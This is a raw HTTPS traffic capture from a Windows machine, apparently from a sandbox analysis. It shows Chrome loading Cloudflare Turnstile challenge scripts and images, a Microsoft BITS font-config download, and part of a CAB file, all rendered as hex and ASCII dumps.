2024-05-23 08:31:06 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-23 08:31:06 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:06 UTC	710	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8883b00e0e9a437b HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:06 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 449800 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8883b0130f148c2a-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:06 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 7a 2c 66 46 2c 66 47 2c 66 48 2c 66 52 2c 66 56 2c 66 59 2c 66 5a 2c 67 70 2c 67 71 2c 67 75 2c 67 76 2c 67 7a 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 2c 68 66 2c 68 67 2c 68 68 2c 68 69 2c 68 6a 2c 68 6b 2c 68 6c 2c 68 6d 2c 68 6e 2c 68 6f 2c 68 70 2c 68 71 2c 68 72 2c 68 73 2c 68 74 2c 68 75 2c 68 76 2c 68 77 2c 68 79 2c Data Ascii: window._cf_chl_opt.uaO=false;~function(iz,fF,fG,fH,fR,fV,fY,fZ,gp,gq,gu,gv,gz,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he,hf,hg,hh,hi,hj,hk,hl,hm,hn,ho,hp,hq,hr,hs,ht,hu,hv,hw,hy,
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 52 4d 6c 61 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 4d 78 74 6d 56 27 3a 69 41 28 31 38 33 37 29 2c 27 48 54 43 5a 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 66 53 4b 71 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 73 66 51 54 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 6e 58 55 73 6f 27 3a 69 41 28 37 39 31 29 2c 27 78 4c 65 5a 43 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 72 46 6a 43 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 Data Ascii: unction(h,i){return h<i},'RMlas':function(h,i){return h>i},'MxtmV':iA(1837),'HTCZT':function(h,i){return h(i)},'fSKqr':function(h,i){return h\|i},'sfQTA':function(h,i){return h-i},'nXUso':iA(791),'xLeZC':function(h,i){return h<i},'rFjCN':function(h,i){retu
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 6f 6e 28 69 2c 69 43 29 7b 72 65 74 75 72 6e 20 69 43 3d 69 42 2c 69 43 28 32 30 32 37 29 5b 69 43 28 33 34 32 32 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 2c 6f 2c 73 2c 69 44 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 55 2c 56 29 7b 69 66 28 69 44 3d 69 41 2c 78 3d 7b 7d 2c 78 5b 69 44 28 39 37 33 29 5d 3d 69 44 28 32 35 38 35 29 2c 42 3d 78 2c 64 5b 69 44 28 38 32 35 29 5d 28 6e 75 6c 6c 2c 6a 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 44 3d 7b 7d 2c 45 3d 7b 7d 2c 46 3d 27 27 2c 47 3d 32 2c 48 3d 33 2c 49 3d 32 2c 4a 3d 5b 5d 2c 4b 3d 30 2c 4c 3d 30 2c 4d 3d 30 3b 64 5b 69 44 28 36 35 34 29 5d 28 4d 2c 6a 5b 69 44 28 32 38 30 38 29 5d 29 3b 4d 2b 3d 31 29 69 66 28 4e Data Ascii: on(i,iC){return iC=iB,iC(2027)[iC(3422)](i)})},'g':function(j,o,s,iD,x,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,U,V){if(iD=iA,x={},x[iD(973)]=iD(2585),B=x,d[iD(825)](null,j))return'';for(D={},E={},F='',G=2,H=3,I=2,J=[],K=0,L=0,M=0;d[iD(654)](M,j[iD(2808)]);M+=1)if(N
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 43 3d 30 3b 43 3c 49 3b 4b 3c 3c 3d 31 2c 6f 2d 31 3d 3d 4c 3f 28 4c 3d 30 2c 4a 5b 69 44 28 38 35 38 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 43 2b 2b 29 3b 66 6f 72 28 50 3d 46 5b 69 44 28 31 36 34 33 29 5d 28 30 29 2c 43 3d 30 3b 64 5b 69 44 28 31 38 33 30 29 5d 28 38 2c 43 29 3b 4b 3d 64 5b 69 44 28 31 32 33 37 29 5d 28 4b 3c 3c 31 2c 64 5b 69 44 28 38 36 37 29 5d 28 50 2c 31 29 29 2c 4c 3d 3d 64 5b 69 44 28 31 33 35 32 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 69 44 28 38 35 38 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 50 3e 3e 3d 31 2c 43 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 43 3d 30 3b 64 5b 69 44 28 32 31 37 33 29 5d 28 43 2c 49 29 3b 4b 3d 4b 3c 3c 31 2e 30 35 7c 50 2c 4c 3d 3d 64 5b 69 Data Ascii: {for(C=0;C<I;K<<=1,o-1==L?(L=0,J[iD(858)](s(K)),K=0):L++,C++);for(P=F[iD(1643)](0),C=0;d[iD(1830)](8,C);K=d[iD(1237)](K<<1,d[iD(867)](P,1)),L==d[iD(1352)](o,1)?(L=0,J[iD(858)](s(K)),K=0):L++,P>>=1,C++);}else{for(P=1,C=0;d[iD(2173)](C,I);K=K<<1.05\|P,L==d[i
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 7c 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 33 2e 33 5d 5b 33 5d 5e 64 5b 69 44 28 32 39 37 35 29 5d 28 74 68 69 73 2e 68 5b 64 5b 69 44 28 31 38 35 37 29 5d 28 33 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 69 44 28 31 36 34 33 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 33 2e 39 34 5d 5b 30 5d 2b 2b 29 2c 31 37 30 29 2b 32 35 36 26 32 35 35 2e 33 2c 56 5b 33 5d 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 33 2e 38 36 5d 5b 33 5d 5e 64 5b 69 44 28 31 30 39 38 29 5d 28 74 68 69 73 2e 68 5b 33 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 69 44 28 31 36 34 33 29 5d 28 74 68 69 73 2e 68 5b 33 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2d 31 37 30 2c 32 35 36 29 26 32 35 35 5e 31 36 39 2c 74 68 69 73 2e 68 5b 64 5b 69 44 28 32 32 30 38 29 5d 28 55 2c 74 68 69 73 2e Data Ascii: \|this.h[this.g^3.3][3]^d[iD(2975)](this.h[d[iD(1857)](3,this.g)][1][iD(1643)](this.h[this.g^3.94][0]++),170)+256&255.3,V[3]=this.h[this.g^3.86][3]^d[iD(1098)](this.h[3^this.g][1][iD(1643)](this.h[3^this.g][0]++)-170,256)&255^169,this.h[d[iD(2208)](U,this.
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 28 30 2c 4f 29 3f 31 3a 30 29 2a 47 2c 47 3c 3c 3d 31 29 3b 50 3d 65 28 4b 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 69 4b 28 32 35 32 36 29 5d 28 32 2c 31 36 29 2c 47 3d 31 3b 4c 21 3d 47 3b 4f 3d 49 26 48 2c 49 3e 3e 3d 31 2c 30 3d 3d 49 26 26 28 49 3d 6a 2c 48 3d 64 5b 69 4b 28 31 34 39 35 29 5d 28 6f 2c 4a 2b 2b 29 29 2c 4b 7c 3d 47 2a 28 30 3c 4f 3f 31 3a 30 29 2c 47 3c 3c 3d 31 29 3b 50 3d 64 5b 69 4b 28 33 32 33 35 29 5d 28 65 2c 4b 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 46 3d 78 5b 33 5d 3d 50 2c 45 5b 69 4b 28 38 35 38 29 5d 28 50 29 3b 3b 29 69 66 28 64 5b 69 4b 28 32 35 38 34 29 5d 3d 3d 3d 69 4b 28 31 33 35 35 29 29 52 3d 74 68 69 73 2e 68 5b 74 68 69 Data Ascii: (0,O)?1:0)G,G<<=1);P=e(K);break;case 1:for(K=0,L=Math[iK(2526)](2,16),G=1;L!=G;O=I&H,I>>=1,0==I&&(I=j,H=d[iK(1495)](o,J++)),K\|=G(0<O?1:0),G<<=1);P=d[iK(3235)](e,K);break;case 2:return''}for(F=x[3]=P,E[iK(858)](P);;)if(d[iK(2584)]===iK(1355))R=this.h[thi
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 2c 47 3c 3c 3d 31 29 3b 78 5b 43 2b 2b 5d 3d 65 28 4b 29 2c 50 3d 64 5b 69 4b 28 32 36 39 34 29 5d 28 43 2c 31 29 2c 42 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 45 5b 69 4b 28 31 32 33 33 29 5d 28 27 27 29 7d 69 66 28 42 3d 3d 30 26 26 28 42 3d 4d 61 74 68 5b 69 4b 28 32 35 32 36 29 5d 28 32 2c 44 29 2c 44 2b 2b 29 2c 78 5b 50 5d 29 50 3d 78 5b 50 5d 3b 65 6c 73 65 20 69 66 28 64 5b 69 4b 28 31 35 33 37 29 5d 28 50 2c 43 29 29 50 3d 46 2b 46 5b 69 4b 28 33 34 32 32 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 45 5b 69 4b 28 38 35 38 29 5d 28 50 29 2c 78 5b 43 2b 2b 5d 3d 64 5b 69 4b 28 31 38 39 35 29 5d 28 46 2c 50 5b 69 4b 28 33 34 32 32 29 5d 28 30 29 29 2c 42 2d 2d 2c 46 3d 50 2c 64 5b 69 4b 28 38 32 Data Ascii: ,G<<=1);x[C++]=e(K),P=d[iK(2694)](C,1),B--;break;case 2:return E[iK(1233)]('')}if(B==0&&(B=Math[iK(2526)](2,D),D++),x[P])P=x[P];else if(d[iK(1537)](P,C))P=F+F[iK(3422)](0);else return null;E[iK(858)](P),x[C++]=d[iK(1895)](F,P[iK(3422)](0)),B--,F=P,d[iK(82
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 4d 6f 44 6c 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 27 49 51 62 42 56 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 28 48 29 7d 2c 27 57 58 4d 6b 79 27 3a 6b 66 28 31 38 32 37 29 2c 27 64 47 61 44 51 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6f 5b 6b 66 28 32 31 34 32 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 68 3d 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 67 74 28 68 29 2c 67 5b 6b 66 28 32 32 31 35 29 5d 5b 6b 66 28 35 33 30 29 5d 26 26 28 78 3d 78 5b 6b 66 28 33 33 39 32 29 5d 28 67 5b 6b 66 28 32 32 31 35 29 5d 5b 6b 66 28 Data Ascii: tion(G,H){return G===H},'MoDlK':function(G,H){return G<H},'IQbBV':function(G,H){return G(H)},'WXMky':kf(1827),'dGaDQ':function(G,H,I){return G(H,I)}},o[kf(2142)](null,h)\|\|h===void 0)return j;for(x=gt(h),g[kf(2215)][kf(530)]&&(x=x[kf(3392)](g[kf(2215)][kf(
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 32 31 39 35 29 5d 29 29 72 65 74 75 72 6e 20 6b 5b 6b 6a 28 32 38 35 34 29 5d 28 27 6f 2e 27 2c 73 29 3b 65 6c 73 65 20 6d 3d 27 6a 63 27 7d 29 7d 2c 66 46 5b 69 7a 28 34 38 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6b 6b 2c 64 2c 65 2c 66 2c 67 29 7b 6b 6b 3d 69 7a 2c 64 3d 7b 7d 2c 64 5b 6b 6b 28 35 34 32 29 5d 3d 6b 6b 28 32 31 32 36 29 2c 64 5b 6b 6b 28 39 31 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 66 46 5b 6b 6b 28 32 39 34 32 29 5d 5b 6b 6b 28 35 30 36 29 5d 28 65 5b 6b 6b 28 39 31 36 29 5d 28 32 2c 66 29 2c 33 32 29 2c 66 46 5b 6b 6b 28 31 33 37 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 6b 6c 29 7b 6b 6c 3d 6b 6b 2c 66 46 5b 65 5b 6b 6c 28 35 34 32 29 5d 5d 26 Data Ascii: 2195)]))return k[kj(2854)]('o.',s);else m='jc'})},fF[iz(487)]=function(kk,d,e,f,g){kk=iz,d={},d[kk(542)]=kk(2126),d[kk(916)]=function(h,i){return h<<i},e=d,f=1,g=1e3*fF[kk(2942)][kk(506)](e[kk(916)](2,f),32),fF[kk(1377)](function(kl){kl=kk,fF[e[kl(542)]]&
2024-05-23 08:31:06 UTC	1369	IN	Data Raw: 5b 69 7a 28 31 35 34 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 2c 67 2c 68 2c 6b 6e 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 6b 6e 3d 69 7a 2c 69 3d 7b 7d 2c 69 5b 6b 6e 28 31 32 31 37 29 5d 3d 6b 6e 28 31 34 31 31 29 2c 69 5b 6b 6e 28 33 31 32 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 69 5b 6b 6e 28 32 35 37 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 6b 6e 28 33 32 30 36 29 5d 3d 6b 6e 28 31 36 38 32 29 2c 69 5b 6b 6e 28 33 33 39 34 29 5d 3d 6b 6e 28 35 33 33 29 2c 69 5b 6b 6e 28 36 35 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 69 5b 6b 6e 28 31 30 38 38 29 5d 3d 6b 6e 28 32 38 36 33 29 2c 6a 3d 69 Data Ascii: [iz(1547)]=function(d,e,f,g,h,kn,i,j,k,l,m){(kn=iz,i={},i[kn(1217)]=kn(1411),i[kn(3125)]=function(n,o){return n>o},i[kn(2576)]=function(n,o){return n+o},i[kn(3206)]=kn(1682),i[kn(3394)]=kn(533),i[kn(655)]=function(n,o){return n+o},i[kn(1088)]=kn(2863),j=i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49748	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:06 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:06 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:06 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8883b014183d18d0-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:06 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49747	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:06 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-23 08:31:07 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=27566 Date: Thu, 23 May 2024 08:31:07 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-23 08:31:07 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	104.17.3.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:07 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:07 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:07 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8883b0187d71435e-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 08:31:07 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	104.17.2.184	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:07 UTC	915	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/442014365:1716448514:KMy_X2Tvwq2thYv_4HPGwjZdG0QkodoJ4s-HxRGfQ5M/8883b00e0e9a437b/b2c3c6268648b88 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2710 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: b2c3c6268648b88 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m1id3/0x4AAAAAAAV0fMDGgBWidsCj/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:07 UTC	2710	OUT	Data Raw: 76 5f 38 38 38 33 62 30 30 65 30 65 39 61 34 33 37 62 3d 2d 31 73 75 24 75 5a 6c 57 36 62 66 73 6d 31 76 6f 52 57 79 57 4f 57 46 75 76 33 75 38 5a 4a 56 66 76 57 4c 34 53 57 2d 4a 6d 30 57 6a 4c 57 56 71 43 57 6d 49 62 4b 61 75 37 75 57 61 38 76 62 2d 57 25 32 62 73 62 63 57 32 73 62 79 64 24 68 31 57 43 73 76 62 30 57 47 74 76 2b 66 67 32 4b 76 2b 33 57 52 4a 57 4b 57 73 76 6d 4b 42 2d 79 76 57 24 57 36 63 24 56 42 47 62 57 34 49 63 57 36 39 75 50 78 4f 44 4a 57 6a 4b 49 68 6c 7a 73 57 39 41 78 76 57 50 78 47 77 62 56 61 41 61 78 30 49 74 4a 45 79 52 76 47 63 52 74 62 37 57 57 71 43 6d 34 61 7a 52 75 62 64 57 6f 30 57 32 76 57 2d 57 56 56 74 62 56 57 24 57 56 30 4b 4f 2b 37 6e 32 4b 43 77 2b 76 58 62 61 6c 58 2d 53 4b 6d 57 2b 35 32 75 66 78 52 38 71 79 Data Ascii: v_8883b00e0e9a437b=-1su$uZlW6bfsm1voRWyWOWFuv3u8ZJVfvWL4SW-Jm0WjLWVqCWmIbKau7uWa8vb-W%2bsbcW2sbyd$h1WCsvb0WGtv+fg2Kv+3WRJWKWsvmKB-yvW$W6c$VBGbW4IcW69uPxODJWjKIhlzsW9AxvWPxGwbVaAax0ItJEyRvGcRtb7WWqCm4azRubdWo0W2vW-WVVtbVW$WV0KO+7n2KCw+vXbalX-SKmW+52ufxR8qy
2024-05-23 08:31:08 UTC	731	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 120912 Connection: close cf-chl-gen: IqrcYbVY9FVTD/mK2PAKKq2Z3H9tY4fkUFyHSBXvm4WrIQkzCOGlwP5sk2gKtS+CWw2gejouiq7dF7CZxCgHbmfzVUhnTabajLd+mvAqZX8RHSjE+CHx454xYG/7mcLlUCQ1deNJcZcrxZ+ATsZIkRWEMwz7fkp2yjCoiOzKwjQ/3sxv/N7dJHvEeADE/5Yh9NgnS68Wlmn72AnbxUE1UmRX/kVru7+5HlzjJN6UXw0RLwd+lRzW+Nc/WL1pRh1Cs2AxkD+XCfMtIgCP4MnjT6H5uxceZ0FlV5xKYTXaCMoNkZ5FyE/tVATEP6c87d6eecff5uvYdtKZTIkvdO1EBZc9hgn8niZsObbsbMdfus6g79VQlW4sVcu0ZowWd0Jfe253bg9q28VMrRgo9OBeHXcfCIoCOtZUNTsONBFHa5a1S2sx49LNud43SN3TroMNso7AKgqubSuvo9E26dYg1g==$cFpxAq7ZLL8n1RZ3vRjVQQ== Server: cloudflare CF-RAY: 8883b01b5e0b5e82-EWR alt-svc: h3=":443"; ma=86400
